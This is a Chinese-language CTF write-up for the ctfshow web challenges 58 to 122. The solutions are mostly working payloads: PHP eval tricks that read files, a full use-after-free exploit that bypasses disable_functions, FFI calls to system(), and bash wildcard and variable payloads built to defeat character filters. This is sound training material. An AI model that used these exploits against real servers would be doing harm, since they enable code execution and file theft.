# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
c=print_r(scandir(dirname('__FILE__')));
可以查看到当前目录,可以使用 复制、重命名等
(system被禁用了 >__<)
payload
c=show_source("flag.php");
c=highlight_file("flag.php");
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
c=copy("flag.php","a.txt"); #之后访问/a.txt
c=rename("flag.php","b.txt"); #之后访问/b.txt
web59
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
payload
c=highlight_file("flag.php");c=include($_GET[a]); #post
?a=php://filter/convert.base64-encode/resource=flag.phpc=print_r(file("flag.php"));
web60
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
payload
c=highlight_file("flag.php");c=include($_GET[a]); #post
?a=php://filter/convert.base64-encode/resource=flag.php#参考web40无参rce
c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
web61
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
payload
c=highlight_file("flag.php");c=show_source("flag.php");c=include($_GET[a]); #post
?a=php://filter/convert.base64-encode/resource=flag.phpc=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
web62
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
payload
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag; #变量名是$flagc=highlight_file("flag.php");c=show_source("flag.php");c=include($_GET[a]); #post
?a=php://filter/convert.base64-encode/resource=flag.phpc=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
web63
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
payload
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag; #变量名是$flagc=highlight_file("flag.php");c=show_source("flag.php");c=include($_GET[a]); #post
?a=php://filter/convert.base64-encode/resource=flag.phpc=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
web64
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
payload
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag; #变量名是$flagc=highlight_file("flag.php");c=show_source("flag.php");c=include($_GET[a]); #post
?a=php://filter/convert.base64-encode/resource=flag.phpc=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
web65
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
file_get_contents() has been disabled
payload
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag; #变量名是$flagc=highlight_file("flag.php");c=show_source("flag.php");c=include($_GET[a]); #post
?a=php://filter/convert.base64-encode/resource=flag.phpc=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
web66
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
show_source()被禁用了
payload
c=include("flag");var_dump(get_defined_vars()); #查看变量名
c=include("flag.php");echo $flag; #变量名是$flagc=highlight_file("flag.php");c=include($_GET[a]); #post
?a=php://filter/convert.base64-encode/resource=flag.phpc=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
发现flag换位置了
查看当前目录下文件
c=var_dump(scandir('.'));
c=print_r(scandir("."));
没有其他发现
查看根目录下的文件
c=var_dump(scandir('/'));
c=print_r(scandir("/"));
在根目录下找到flag.txt
payload
c=highlight_file('/flag.txt');
c=require("/flag.txt");
web67
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
print_r被禁用
同web66
c=highlight_file('/flag.txt');
c=require("/flag.txt");
web68
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
好几个函数被禁用了
payload
c=include("flag.php");echo $flag;
print_r
也被禁用了
查看根目录下文件
c=var_dump(scandir("/"));
c=include("/flag.txt"); #此时flag.txt里面没有变量flag
c=require("/flag.txt");
web69
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
这一题的 print_r
var_dump
highlight_file
都被禁用了
题解一
查看根目录 payload
c=var_export(scandir("/"));
输出flag内容
c=include("/flag.txt");
c=require("/flag.txt");
题解二
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}#opendir("/") 打开根目录,readdir($a) 循环读取该目录下的文件,echo $b 输出每个文件名,帮助查找目标文件。c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}
输出flag内容
c=include("/flag.txt");
c=require("/flag.txt");
web70
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?
题解一
查看根目录 payload
c=var_export(scandir("/"));
输出flag内容
c=include("/flag.txt");
c=require("/flag.txt");
题解二
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit(); #这个直接会回显出flag的文件名
输出flag内容
c=include("/flag.txt");
c=require("/flag.txt");
web71
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>你要上天吗?
代码的意思是
eval($c)
执行用户提交的代码 $_POST['c']
。
ob_get_contents();
获取输出缓冲区的内容 / ob_get_contents()
用来获取之前通过 echo
或 print
输出的内容。
在 eval()
执行后,如果有输出,它会被存储在 $s
变量中。
ob_end_clean();
关闭并清理输出缓冲区。它将会清除所有缓冲的内容(即清除 $s 中的内容),不再输出。
使用 preg_replace()
对 $s
中的内容进行正则替换:
最终输出经过替换的结果,所有字母和数字都被替换成了 ?
。
而利用exit()可以让前面的语句执行完就退出,而不需要执行后面的语句。
c=var_export(scandir("/"));exit();
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}exit();c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit(); #这个直接会回显出flag的文件名
c=include("/flag.txt");exit();
c=require("/flag.txt");exit();
web72
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>你要上天吗?
和上一题是有区别的
这道题只有这个命令可以查询根目录文件
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}exit();c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit(); #这个直接会回显出flag的文件名
flag文件名改变了,flag0.txt
当想用 c=include(“/flag0.txt);exit();”
时,发现有 open_basedir
限制
Warning: include(): open_basedir restriction in effect. File(/flag0.txt) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1
open_basedir
:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()
或file_get_contents()
打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开
用uaf脚本来命令执行,脚本( c=
之后)要进行URL编码
POC脚本
c=function ctfshow($cmd) { #在这里修改传入的参数global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() {global $backtrace;unset($this->a);$backtrace = (new Exception)->getTrace();if (!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for ($j = $s - 1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p + $j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i = 0; $i < $m; $i++) {$out .= sprintf("%c", ($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for ($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c", ($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if ($s != 8) {$leak %= 2 << ($s * 8) - 1;}return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for ($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if ($p_type == 1 && $p_flags == 6) {$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if ($p_type == 1 && $p_flags == 5) {$text_size = $p_memsz;}}if (!$data_addr || !$text_size || !$data_size) return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for ($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if ($deref != 0x746e6174736e6f63) continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if ($deref != 0x786568326e6962) continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for ($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if ($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if ($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while ($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' .'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if (stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10;$contiguous = [];for ($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' .'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if (strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if (!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if (!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if (!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if (!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for ($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4);write($abc, 0xd0 + 0x68, $zif_system);($helper->b)($cmd);exit();
}ctfshow("cat /flag0.txt"); #在这里修改flag文件名
ob_end_flush();
web73
题解一
查看根目录文件
c=var_export(scandir("/"));exit();
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}exit();c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit(); #这个直接会回显出flag的文件名
flag文件名是flagc.txt,输出flag
c=include("/flagc.txt");exit();
c=require("/flagc.txt");exit();
题解二
post
c=include($_GET[a]);exit();
GET
?a=php://filter/convert.base64-encode/resource=/flagc.txt
web74
scandir
被禁用了
题解一
查看根目录文件
c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";}exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}exit();c=$a=new DirectoryIterator("glob:///*.txt");foreach($a as $f){echo($f->__toString()." ");}exit(); #这个直接会回显出flag的文件名
flag文件名是flagx.txt,输出flag
c=include("/flagx.txt");exit();
c=require("/flagx.txt");exit();
题解二
(要先扫根目录)post
c=include($_GET[a]);exit();
GET
?a=php://filter/convert.base64-encode/resource=/flagx.txt
web75
查看根目录下文件(scandir
opendir
不能用了
c=$a=new DirectoryIterator("glob:///*");foreach($a as $b){echo ($b->__toString()." ");}exit();
这道题 include
require
都不能用了
利用mysql的load_file()来查看文件
用mysql做,post c=脚本
try{$db = new PDO("mysql:host=localhost;dbname=ctftraining","root","root");foreach($db->query('select load_file("/flag36.txt")') as $row)/*这里修改flag文件名*/ {echo ($row[0])."|";}$db = null;
}
catch(PDOException $e)
{echo $e->getMessage();exit(0);
}
exit(0);
web76
opendir()
不行了
查看根目录下文件
c=var_export(scandir("glob:///*"));exit(0);
c=$a=new DirectoryIterator("glob:///*");foreach($a as $b){echo ($b-> __toString()." ");}exit();
flag文件名为 flag36d.txt
利用mysql的load_file()来查看文件
脚本
try{$db = new PDO("mysql:host=localhost;dbname=ctftraining","root","root");foreach($db->query('select load_file("/flag36d.txt")') as $row)/*这里修改flag文件名*/ {echo ($row[0])."|";}$db = null;
}
catch(PDOException $e)
{echo $e->getMessage();exit(0);
}
exit(0);
web77
查看根目录下文件( opendir()
用不了)
c=var_export(scandir("glob:///*"));exit(0);
c=$a=new DirectoryIterator("glob:///*");foreach($a as $b){echo ($b-> __toString()." ");}exit();
flag文件名为 flag36x.txt
再次使用上一题的脚本发现无法得到flag
因为不能回显,所以利用重定向将 readflag
内容输出到其他地方
c=$ffi=FFI::cdef("int system(const char *system);", "libc.so.6");
$a="/readflag > flag2.txt"; /*这里修改要输出的文件名*/
$ffi->system($a);
exit();
之后访问 /flag2.txt
这个解法是一个利用 PHP 的 FFI 技术(Foreign Function Interface) 来调用底层 C 标准库函数
system()
的 命令执行漏洞利用技巧,结合参数注入直接拿到服务器上的flag
文件。
解析c=$ffi=FFI::cdef("int system(const char *system);", "libc.so.6");
/*
告诉 PHP:
"我想用 libc 这个 C 标准库里的 system 函数,它长这样:int system(const char *cmd);这样,PHP 就为你加载了一个 system() 的函数,叫 $ffi->system(),可以直接用了
*/$a="/readflag > flag2.txt";
/*
/readflag 是CTF靶机提供的一个程序,作用就是 输出 flag
> 是 shell 的重定向符号,意思是:把执行结果写入某个文件
所以这个命令执行后,服务器上就会出现一个新文件:flag2.txt,里面就是 flag 内容*/$ffi->system($a);
/*让服务器执行 /readflag,并把 flag 写进 flag2.txt 文件*/exit();
/*直接退出,防止执行后续的 PHP 代码*、
web118
题目给的提示:
由题目知 flag
位于 flag.php
查看源代码,知道从输入框 输入的内容
就成了 system
命令里所谓的 $code
尝试输入,发现有一些输入会回显 evil input
,存在过滤
抓包,尝试找到 被过滤 / 没被过滤 的字符
很明显,大写字母 和 #
$
.
;
?
@
_
{
}
~
没有被过滤
小写字母和数字都被过滤了
不管怎样,我们最终的目的是不变的,就是要想办法构造一个命令,能达到 tac flag.php
的效果
首先看看这些 利用bash内置变量
#PWD:输出当前所在路径
user@LAPTOP-HHK0H1KL:~$ echo ${PWD}
/home/user#从下标1开始,截取长度为3位的字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:1:3}
hom#从下标3后面开始输出字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:3}
me/user#从下标4后面开始输出字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:4}
e/user#从下标5后面开始输出字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:5}
/user#说明字母和数字0的作用一样
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:A}
/home/user#说明字母和数字0的作用一样
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:B}
/home/user#说明字母和数字0的作用一样
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:G}
/home/user#取反号~:输出最后1个字符
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:~0}
r#说明字母和数字0的作用一样
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:~J}
r#输出可执行程序搜索路径
user@LAPTOP-HHK0H1KL:~$ echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
要利用这种方法构造出想要的命令,肯定要求我们的命令简洁简短,这样容易构造,因为条件有限
比如对于 cat
、tac
、more
、less
、head
、tail
、nl
、sed
、sort
、uniq
、rev
,这些命令,我们肯定要选 nl
,不妨看看上面指令 echo ${PATH}
,输出内容中的最后一个字符就是 n
,那么利用 echo ${PWD:A}
就很容易构造出来 n
于是,我们目标明确,利用内置变量,构造出命令 nl flag.php
根据题目给的这张图,当前目录 /var/www/html
,目录的最后一个字母是 l
所以,${PATH:~A}${PWD:~A}
等价于 nl
空格和小写字母被过滤,用 ${IFS}
和 通配符 ?
代替
${PATH:~A}${PWD:~A}${IFS}????.???
等价于 ${PATH:~0}${PWD:~0} ????.???
等价于 nl flag.php
payload
#nl flag.php
#nl ????.???
${PATH:~A}${PWD:~A}${IFS}????.???
其他payload
#输出可执行程序搜索路径
user@LAPTOP-HHK0H1KL:~$ echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin# ${#}是0
user@LAPTOP-HHK0H1KL:~$ echo ${#}
0# SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开 shell 时 ${SHLVL}=1
#然后在此 shell 中再打开一个 shell 时 ${SHLVL}=2
user@LAPTOP-HHK0H1KL:~$ echo ${SHLVL}
1user@LAPTOP-HHK0H1KL:~$ echo ${SHLVL}
1#输出当前目录
user@LAPTOP-HHK0H1KL:~$ echo ${PWD}
/home/user# ${#PWD}是回显字符数
user@LAPTOP-HHK0H1KL:~$ echo ${#PWD}
10#等价与 echo ${PWD:0:1} ,即 /
user@LAPTOP-HHK0H1KL:~$ echo ${PWD:${#}:${SHLVL}}
/# ${RANDOM}一般是一个4~5位的随机数
user@LAPTOP-HHK0H1KL:~$ echo ${RANDOM}
1998user@LAPTOP-HHK0H1KL:~$ echo ${RANDOM}
30785user@LAPTOP-HHK0H1KL:~$ echo ${HOME}
/home/user# 因此 ${#RANDOM}一般是4/5
user@LAPTOP-HHK0H1KL:~$ echo ${#RANDOM}
4user@LAPTOP-HHK0H1KL:~$ echo ${#RANDOM}
5# TERM 是一个环境变量,表示当前终端类型常见值有:xterm、xterm-256color、linux、screen、dumb
user@LAPTOP-HHK0H1KL:~$ echo ${TERM}
xterm-256color#取字符串长度
user@LAPTOP-HHK0H1KL:~$ echo ${#TERM}
14#输出可执行程序搜索路径(为了方便看,不用往上翻^_^)
user@LAPTOP-HHK0H1KL:~$ echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# (根据题目给的payload反向推理) 题目附件的网址 "yu-love" 合理推测这道题靶机的输出
yu-love@LAPTOP-HHK0H1KL:~$ echo ${HOME}
/home/yu-love#取字符串长度
yu-love@LAPTOP-HHK0H1KL:~$ echo ${#HOME}
13
(其实本质上都是构造 nl flag.php
)
构造 nl ?l??.???
${PATH:13:1}${PATH:4:1} ?${PATH:4:1}??.???
等价于${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
但是由于这里用了 RANDOM
,所以需要多试几次
(而且这里的空格不用换成 ${IFS}
也可以过!!)
payload
#nl flag.php
#nl ?l??.???
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
web119
测试后发现,在上一题的基础上过滤了 PATH
此时要想构造 nl
就比较难了,尝试用 /bin/base64
目标:构造 /bin/base64 flag.php
即 /???/?????4 ????.???
于是,剩下的工作就是利用内置变量替换 /
和4
#输出可执行程序搜索路径 (靶机的 路径)
user@LAPTOP-HHK0H1KL:~$ echo ${PWD}
/var/www/html
目标:${PWD:0:1}???${PWD:0:1}?????${#RANDOM} ????.???
—> ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}?????${#RANDOM} ????.???
最终的payload (由于使用了 RANDOM
,所以需要多试几次)
#/bin/base64 flag.php
#/???/?????4 ????.???
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?????${#RANDOM} ????.???${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
(${##}=1)
其他payload
其他 bash 内置变量
${USER} : www-data
${#IFS} : 3
${#} : 0
${##} : 1
${###} : 0
${####} : 0
可以尝试 /bin/cat flag.php
这里 php版本是 7.3.22 ,可以利用 ${PHP_VERSION:~A}
获取 数字 2
/bin/cat flag.php
—> /???/?at flag.php
(或者:/???/?a? flag.php
PS:这个 乱码>___< 乱码>___<)
—> ${PWD:0:1}???${PWD:0:1}?${USER:~2:2} ????.???
(或者:${PWD:0:1}???${PWD:0:1}?${USER:~0}? ????.???
PS:这个乱码>___<)
—> ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
(或者:${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.???
PS:这个乱码>___< 乱码>___<)
#/bin/cat flag.php
#/???/?at flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???${PWD:${#}:${##}}???${PWD:${#}:${##}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???${PWD::${##}}???${PWD::${##}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???#/bin/cat flag.php
#/???/?a? flag.php
#这个出来乱码>___< 乱码>___< 乱码>___< 乱码>___<
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.???${PWD:${#}:${##}}???${PWD:${#}:${##}}?${USER:~A}? ????.???${PWD::${##}}???${PWD::${##}}?${USER:~A}? ????.???#/bin/rev flag.php
#/???/r?? ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}${PWD:${#IFS}:${#SHLVL}}?? ????.???${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
web120
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>
给黑名单了!同时有限制长度
payload
#/bin/base64 flag.php
#/???/?????4 flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???#/bin/rev flag.php
#/???/r?? ????.???
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
web121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>
与上一题相比,只有我们用到的 SHLVL
被过滤了(虽然好像上一题也可以不用 SHLVL
)
一些 bash 内置变量
${#}=0
${##}=1
${#?}=1
${#??}=0
payload
#/bin/base64 flag.php
#/???/?????4 flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???#/bin/rev flag.php
#/???/r?? ????.???
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
web122
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>
过滤了 PWD
、#
、USER
,白名单了 HOME
$?
表示上一条命令执行结束后的传回值。通常 0
代表执行成功,非0
代表执行有误
几种报错及对应的返回值
"OS error code 1: Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"
(所以利用<A
的报错就能返回值1)
